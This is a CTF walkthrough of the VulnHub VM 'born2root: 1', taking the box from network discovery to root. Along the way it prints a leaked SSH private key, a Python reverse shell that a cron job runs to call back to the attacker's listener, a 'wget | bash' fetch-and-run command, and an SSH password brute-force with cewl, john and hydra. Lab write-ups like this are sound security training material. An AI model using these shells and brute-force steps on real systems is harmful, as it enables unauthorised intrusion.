Name : born2root: 1 Difficulty : Intermediate Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/born2root-1,197/ Entry : 13 / 30

Welcome to the walkthrough for born2root: 1, a boot2root CTF found on VulnHub. This is the thirteenth VM in my VulnHub Challenge! This is an intermediate machine, so roughly in-line with what I would expect with an OSCP-like machine.

Goal

There is a single flag in the /root directory that needs to be read read, so a fairly straightforward challenge.

Setup

I’m using VirtualBox to host Kali and the born2root: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment. VMWare Player is not compatible with this machinem hence the reason I’m switching back to Virtualbox.

Discovery

I use netdiscover to search for the IP address of the born2root: 1 VM:

root@kali:~# netdiscover -r 10.0.2.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.3 08:00:27:6b:0b:32 1 60 PCS Systemtechnik GmbH 10.0.2.6 08:00:27:7e:5e:47 1 60 PCS Systemtechnik GmbH

Hmm, either 10.0.2.3 or 10.0.2.6 are our VMs. Let me do a quick nmap scan to see which one is more likely.

root@kali:~# nmap 10.0.2.3 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:52 EDT Nmap scan report for 10.0.2.3 Host is up (0.00011s latency). All 1000 scanned ports on 10.0.2.3 are filtered MAC Address: 08:00:27:6B:0B:32 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.0.2.6 Host is up (0.00017s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Nmap done: 2 IP addresses (2 hosts up) scanned in 0.30 seconds

That’s better. 10.0.2.6 is our target.

Scanning

I’ll start with a full TCP port scan with nmap , then follow it up with a full UDP scan using unicornscan just to make sure I don’t miss anything. Once I know what ports are up, I’ll do a deeper scan with nmap on any open ports.

root@kali:~# nmap -sS -p- 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:57 EDT Nmap scan report for 10.0.2.6 Host is up (0.022s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 44290/tcp open unknown MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds

Next up, I’ll use unicornscan to do the UDP scan. I could use nmap , but I find unicornscan to be a lot faster.

root@kali:~# unicornscan -mU -Iv 10.0.2.6:a adding 10.0.2.6/32 mode `UDPscan' ports `a' pps 300 using interface(s) eth0 scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds UDP open 10.0.2.3:67 ttl 255 UDP open 10.0.2.6:111 ttl 64 sender statistics 244.8 pps with 65545 packets sent total listener statistics 4 packets recieved 0 packets droped and 0 interface drops UDP open bootps[ 67] from 10.0.2.3 ttl 255 UDP open sunrpc[ 111] from 10.0.2.6 ttl 64

Okay, so we have a few ports open on TCP and UDP, so let’s do a deeper scan on those ports with nmap :

root@kali:~# nmap -sT -sU -sC -sV -p U:67,111,T:22,80,111,44290 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 16:34 EDT Nmap scan report for 10.0.2.6 Host is up (0.00047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA) | 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA) | 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA) |_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) | http-robots.txt: 2 disallowed entries |_/wordpress-blog /files |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Secretsec Company 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 44290/tcp status |_ 100024 1 48546/udp status 44290/tcp open status 1 (RPC #100024) 67/udp closed dhcps 111/udp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 44290/tcp status |_ 100024 1 48546/udp status MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds

The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.

Website

Pretty generic. From the nmap scan above, we see that the robots.txt file has two entries:

/files

/wordpress-blog

Let’s look at each of those:

Heh. A troll face. How original. Looking at the source for all of these pages, nothing jumps out at me. There is a commented out HTML section on the homepage, but it’s for a floating menu that links to anchors on the same page (which don’t exist), so that’s a bit of a red herring that I choose to ignore for now.

I think it’s time to try using gobuster on this site to see if there are any other hidden pages/directories:

root@kali:~# gobuster dir -f -x html -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.2.6/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.0.2.6/ [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: html [+] Add Slash: true [+] Timeout: 10s =============================================================== 2019/07/24 21:20:28 Starting gobuster =============================================================== /.htaccess/ (Status: 403) /.htaccess.html (Status: 403) /.hta/ (Status: 403) /.hta.html (Status: 403) /.htpasswd/ (Status: 403) /.htpasswd.html (Status: 403) /files/ (Status: 200) /icons/ (Status: 200) /manual/ (Status: 200) /index.html (Status: 200) /server-status/ (Status: 403) =============================================================== 2019/07/24 21:20:30 Finished ===============================================================

Breaking down the options for gobuster :

dir : work in directory busting mode, i.e. find files/directories of interest.

: work in directory busting mode, i.e. find files/directories of interest. -f : adds a trailing forward-slash ( / ) to the URL. Useful for finding directories.

: adds a trailing forward-slash ( ) to the URL. Useful for finding directories. -x : looks for files with these extensions (comma-separated list). Sticking with html since there’s no indication of PHP on this VM.

: looks for files with these extensions (comma-separated list). Sticking with since there’s no indication of PHP on this VM. -t : the number of threads to use (default is 10).

: the number of threads to use (default is 10). -w : the wordlist to use when brute forcing.

: the wordlist to use when brute forcing. -u : the URL to start from.



From our gobuster output, we’re not seeing a whole lot. But you know what? We’ll check each finding anyway, since you never know what you may find. I’ll only focus no the links that returned HTTP 200, and ignore the ones I’ve already looked at. That gives me two URLs to check, http://10.0.2.6/manual/ and http://10.0.2.6/icons/ . I’ll browse to both using Firefox and see what’s up.

Okay, so the /manual/ URL looks pretty generic. Let’s try /icons/ :

Interesting! The VDSoyuAXiO.txt file is definitely out of place! Let’s pull it down using curl and see what it is. I like using curl instead of a browser here, since I don’t have to worry about the browser potentially hiding anything or interpreting any characters.

root@kali:~# curl http://10.0.2.6/icons/VDSoyuAXiO.txt -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0 FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx 5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI /P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw +rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX 4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J 4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR 2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43 rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+ -----END RSA PRIVATE KEY-----

Oh my! We have ourselves a nice private key! Great, but who’s key is it? Well, if we go back to the homepage for the site, there was a list of names in the About Us section, as well as an email address under Contact Us. I’d hazard a guess that the usernames for each person follow the same format as the email address, which means we have 3 possible users:

martin hadi jimmy

SSH

I’ll download the private key using wget , pipe it through a few commands to skip the first and last lines of the file (they’re blank), change the file’s permissions to make SSH happy, and then finally use to to try to login with the three users to see who works! Phew!

root@kali:~# wget -qO - http://10.0.2.6/icons/VDSoyuAXiO.txt | tail -n +2 | head -n -1 > private.pem root@kali:~# chmod 600 private.pem root@kali:~# ssh -i private.pem martin@10.0.2.6 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42 READY TO ACCESS THE SECRET LAB ? secret password : password WELCOME ! martin@debian:~$

Cool, so I’m in as martin ! I did try both hadi and jimmy as well, but both prompted me for a password, so the key didn’t belong to them.

The prompt for the password to access the secret lab is a bit odd, and I just guessed at the password being password . I’m curious if that was a lucky guess or not, so I’ll take a look at the .bashrc file for martin :

martin@debian:~$ cat .bashrc # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac ... <snip> ... # enable programmable completion features (you don't need to enable # this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc). if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fi fi /var/tmp/login.py

Ah, there it is. The last line in .bashrc for martin calls a Python script. Let’s see what’s in it:

martin@debian:~$ cat /var/tmp/login.py #!/usr/bin/python import os print("") print("READY TO ACCESS THE SECRET LAB ? ") print("") password = raw_input("secret password : ") if (password) == "secretsec" or "secretlab" : print("WELCOME ! ") else: print("GET OUT ! ") os.system("pkill -u 'martin'")

Well then, it seems that our “SecretSec” compatriots can’t program very well! The problem is in the if statement, and the way that Python handles Boolean values. The statement reads:

if (password) == "secretsec" or "secretlab" :

But this will always evaluate to true . Let me show you what it looks like with a few more parenthesis:

if ((password) == "secretsec") or ("secretlab") :

So the first part of the if statement is checking to see if the password I provided is secretsec , but the second part is just checking whether or not secretlab is true or not. According to the Python documentation :

In the context of Boolean operations, and also when expressions are used by control flow statements, the following values are interpreted as false: False, None, numeric zero of all types, and empty strings and containers (including strings, tuples, lists, dictionaries, sets and frozensets). All other values are interpreted as true.

So in other words, because "secretlab" is a non-empty string, it will evaluate to true, which means the entire if statement will be true. Remember, anything OR true will always result in true . Oh SecretSec, perhaps you’re good at testing, but you are not good at coding!

Enumeration - Thwarted!

Let me run the LinEnum.sh script and see what’s going on. I’ll setup a SimpleHTTPServer on my Kali machine, then use wget to download it on the target machine, pipe it to bash , then review the output.

martin@debian:~$ wget -qO - http://10.0.2.4/LinEnum.sh | bash bash: ligne 1: HAHA : commande introuvable martin@debian:~$

Wait, what?! It seems like I cannot use wget ! curl gives me the same error. Let me do some digging:

martin@debian:~$ which wget /usr/bin/wget martin@debian:~$ file /usr/bin/wget /usr/bin/wget: Python script, ASCII text executable martin@debian:~$ cat /usr/bin/wget #!/usr/bin/python print(" HAHA ... Nope ") martin@debian:~$ cat /usr/bin/curl #!/usr/bin/python print(" HAHA ... Nope ") martin@debian:~$

Just when I thought they couldn’t code, SecretSec showed me up! That’s fine, I’ll use scp to transfer the file to the target and run it manually.

Enumeration - Redux

root@kali:/opt/LinEnum# scp -i ~/private.pem LinEnum.sh martin@10.0.2.6:/tmp LinEnum.sh 100% 45KB 10.0MB/s 00:00

When I review the output of LinEnum.sh , I generally look for a few key things:

What users are available? Do any of them have sudo privileges? Are there any SUID/SGID binaries? What files are accessible/writeable to my user that may be interesting?

Scanning through the output on the born2root machine, I find the following:

The system is running Debian 8 (jessie), Kernel 3.16.0-4-586

hadi , jimmy , and martin are all valid users, and I have access to /home/hadi (read-only)

, , and are all valid users, and I have access to (read-only) /home/hadi/ has some interesting files in it that may be worth exploring; looks to be buffer overflow testing

What’s hadi Doing

Let’s see what’s available in /home/hadi/ :

martin@debian:~$ cd /home/hadi martin@debian:/home/hadi$ ls -al total 60 drwxr-xr-x 3 hadi hadi 4096 juin 5 2017 . drwxr-xr-x 5 root root 4096 juin 9 2017 .. -rw-r--r-- 1 hadi hadi 220 avril 26 2017 .bash_logout -rw-r--r-- 1 hadi hadi 3515 avril 26 2017 .bashrc -rwxr-xr-x 1 root root 5368 mai 10 2017 buff -rw-r--r-- 1 root root 1091 mai 10 2017 buff.c -rw-r--r-- 1 root root 148 juin 5 2017 example.c -rw------- 1 root root 2073 juin 5 2017 .gdb_history -rwxr-xr-x 1 root root 6000 juin 5 2017 overflow -rw-r--r-- 1 root root 19 mai 10 2017 peda-session-buff.txt -rw-r--r-- 1 root root 5 juin 5 2017 peda-session-overflow.txt -rw-r--r-- 1 hadi hadi 675 avril 26 2017 .profile drwxr-xr-x 2 hadi hadi 4096 mai 1 2017 .ssh martin@debian:/home/hadi$

So after spending a few minutes poking around this area, it doesn’t appear that there’s anything of value here. I go back for a second look at the output of LinEnum.sh and something catches my eye:

... <snip> [-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */5 * * * * jimmy python /tmp/sekurity.py ... <snip>

There’s an entry for a /tmp/sekurity.py file, but I checked and no such file exists. Well then, we have an opportunity! Let’s go checkout the reverse shell cheat sheet! There’s an entry for Python, so I’ll whip up a shell that I can use to call back to a nc listener on port 9001 on my attacking machine.

#!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.2.4",9001)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])

With my nc listener setup, I wait for a connection:

Hi jimmy

root@kali:~# nc -nvlp 9001 listening on [any] 9001 ... connect to [10.0.2.4] from (UNKNOWN) [10.0.2.6] 36114 /bin/sh: 0: can't access tty; job control turned off $ ls networker $ whoami jimmy $ pwd /home/jimmy $ ls -al total 32 drwx------ 2 jimmy jimmy 4096 juin 9 2017 . drwxr-xr-x 5 root root 4096 juin 9 2017 .. -rw-r--r-- 1 root root 16 juin 9 2017 .bash_history -rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout -rw-r--r-- 1 jimmy jimmy 3515 juin 8 2017 .bashrc -rwsrwxrwx 1 root root 7496 juin 9 2017 networker -rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile $

Cool, we’re logged in as jimmy and there is a file called networker that’s owned by root and also has the SUID bit set! That’s likely our ticket into escalating our privileges. Let me see what type of file it is:

$ file networker networker: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bacc02fa5747f07430f55e0d5e70d4078800c9f5, not stripped

So it’s an ELF binary. Let’s try executing and see what it does:

$ ./networker eth0 Link encap:Ethernet HWaddr 08:00:27:7e:5e:47 inet adr:10.0.2.6 Bcast:10.0.2.255 Masque:255.255.255.0 adr inet6: fe80::a00:27ff:fe7e:5e47/64 Scope:Lien UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6245 errors:0 dropped:0 overruns:0 frame:0 TX packets:4353 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:1000 RX bytes:604193 (590.0 KiB) TX bytes:775700 (757.5 KiB) Interruption:9 Adresse de base:0xd020 lo Link encap:Boucle locale inet adr:127.0.0.1 Masque:255.0.0.0 adr inet6: ::1/128 Scope:Hôte UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:8 errors:0 dropped:0 overruns:0 frame:0 TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:0 RX bytes:672 (672.0 B) TX bytes:672 (672.0 B) PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms --- localhost ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms echo linux tool version 5 *** Networker 2.0 *** Done $

The Rabbit Hole

tl;dr The networker binary is a lie. There isn’t anything in it that is helpful. It doesn’t take any input, it doesn’t open any ports, and the paths are all hard-coded. I’m sure there’s a way to edit the binary to add our own custom shell code to it, but I don’t have my OSCE yet and this is supposed to be an intermediate difficulty VM, so I’m not about go try and deal with that.

Instead, I’m going to go back to my OSCP training and try some good old fashioned brute forcing on our last user, `hadi1.

Password Fun With cewl and john

A quick recap:

We have logged in to two of the three accounts

There are false flags and rabbit holes all over the place

We have a website that does not have any vulnerabilities

We have an SSH server that we can use to log in as a single user with a private SSH key, but that’s it

So we’ve logged in as martin and managed to get a reverse shell to jimmy . There was an executable for jimmy that lead nowhere. The /home/hadi directory had some other entries in it, but nothing of value. One thing that did stick out to me was the fact that the /home/hadi/gdb_history file was owned by root , so I suspect we can use hadi to get to root and finish this beast off. The question is how?

For this one I’m going to turn to what we have, which is a website. I’ll use a few tricks to generate a custom wordlist for brute forcing. Since I want to use hydra for brute forcing SSH, I don’t want a huge wordlist like rockyou.txt or I’ll be waiting for a while. Instead, I’ll do two things:

Generate a seed wordlist using cewl Mutate that wordlist using john to get some new combinations

Let’s start with the first step, namely generating a wordlist with cewl :

root@kali:~# cewl -w secretsec.txt http://10.0.2.6 CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/) root@kali:~#

Now we have a nice basic list for the site, let’s mutate it using john . Before I do that, I want to add a few extra rules to john . I edit the /etc/john/john.conf file and add the following to the [List.Rules:Wordlist] section:

... <snip> Lowercase/capitalize pure alphabetic words of reasonable length and convert: # crack -> cracked, crack -> cracking -[:c] <* >2 !?A \p1[lc] M [PI] Q # Try the second half of split passwords -s x** -s-c x** M l Q # Add one number to the end of each password $[0-9] # Add two numbers to the end of each password $[0-9]$[0-9] # Add three numbers to the end of each password $[0-9]$[0-9]$[0-9] # Add four numbers to the end of each password #$[0-9]$[0-9]$[0-9]$[0-9] ... <snip>

To be clear, I’ve added the rules to add extra digits to the end of the passwords, because people tend to include digits. I go up to 3 digits here just to keep things somewhat sane. With 4 digits I’m adding another 10k possibilities, which is rather excessive for an SSH brute force.

For more information on using john to mutate wordlists, take a look at this article from Rapid 7 which explains this process fairly well. I just added my rules to the main Wordlists ruleset because I’m lazy.

Once the secretsec.txt file has been updated, it’s time to use john to mutate it:

root@kali:~# john --wordlist=secretsec.txt --rules --stdout > secretsec-mutated.txt Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 70763p 0:00:00:00 100.00% (2019-10-03 15:51) 1769Kp/s jimmy999

To give you an idea of how many permutations this created, we started with 61 words in secretsec.txt and 70763 words in secretsec-mutated.txt !

Now I’m not going to lie, that’s a bloody huge file and it will take me days to go through it with hydra . Let me take a different approach and try something simple. I’ll go with the standard passwords for CTFs, namely the username and any other passwords I may have found. That would be secretsec and secretlab from the Python script that ran when martin first logged on, plus hadi and password . There’s also the filename that had the private key for martin in it, VDSoyuAXiO . I did test that one separately with all three accounts, but no luck. I guess we’ll have to go with our brute forcing plan once we generate the mutated word list.

root@kali:~# john --wordlist=passwords.txt --rules --stdout > passwords-mutated.txt Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 4638p 0:00:00:00 100.00% (2019-10-03 19:07) 77300p/s password999 root@kali:~# echo "VDSoyuAXiO" >> passwords-mutated.txt root@kali:~# wc -l passwords-mutated.txt 4638 passwords-mutated.txt

Time For hydra

Okay, just over 4.6k words, which is going to take some time but at least it won’t span days. It’s still going to take a while, especially since hydra doesn’t recommend using more than 4 threads at a time for SSH, but we’ll let it run.

root@kali:~# hydra -t 4 -l hadi -P passwords-mutated.txt 10.0.2.6 ssh Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal pu rposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-03 19:08:53 [DATA] max 4 tasks per 1 server, overall 4 tasks, 4638 login tries (l:1/p:4638), ~1160 tries per task [DATA] attacking ssh://10.0.2.6:22/ [STATUS] 44.00 tries/min, 44 tries in 00:01h, 4594 to do in 01:45h, 4 active [STATUS] 34.67 tries/min, 104 tries in 00:03h, 4534 to do in 02:11h, 4 active [STATUS] 29.14 tries/min, 204 tries in 00:07h, 4434 to do in 02:33h, 4 active [STATUS] 29.60 tries/min, 444 tries in 00:15h, 4194 to do in 02:22h, 4 active [STATUS] 28.61 tries/min, 887 tries in 00:31h, 3751 to do in 02:12h, 4 active [22][ssh] host: 10.0.2.6 login: hadi password: hadi123 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-03 19:48:26

Okay, so that wasn’t as bad as I was expecting. A little under an hour, but still quite a while to wait for a brute force attack. I shutter to think how long it would have taken if I had used by original cewl list!

Escalation and Flag

Let’s try SSHing to the target as hadi with the password hadi123 :

root@kali:~# ssh hadi@10.0.2.6 hadi@10.0.2.6's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jun 7 20:53:17 2017 hadi@debian:~$ su - Mot de passe : root@debian:~# pwd /root root@debian:~# ls flag.txt

And taking a look at the flag:

root@debian:~# cat flag.txt ,-----. ,---. ,------. ,--. | |) /_ ,---. ,--.--.,--,--, '.-. \| .--. ' ,---. ,---. ,-' '-. | .-. \| .-. || .--'| \ .-' .'| '--'.'| .-. || .-. |'-. .-' | '--' /' '-' '| | | || |/ '-.| |\ \ ' '-' '' '-' ' | | `------' `---' `--' `--''--''-----'`--' '--' `---' `---' `--' Congratulations ! you pwned completly Born2root's CTF . I hope you enjoyed it and you have made Tea's overdose or coffee's overdose :p I have blocked some easy ways to complete the CTF ( Kernel Exploit ... ) for give you more fun and more knownledge ... Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit ! Enumeration is The Key . Give me feedback :[FB] Hadi Mene

So the kernel exploit I was thinking of earlier wouldn’t have worked. That’s fine, I wasn’t planning on using it but I’m also glad I didn’t waste my time. Enumeration may have been the key, but I had no reason to believe that hadi123 was going to be the password. Lots of dead ends on this CTF which made it more annoying than anything. But there you have it, another CTF complete.

Fin.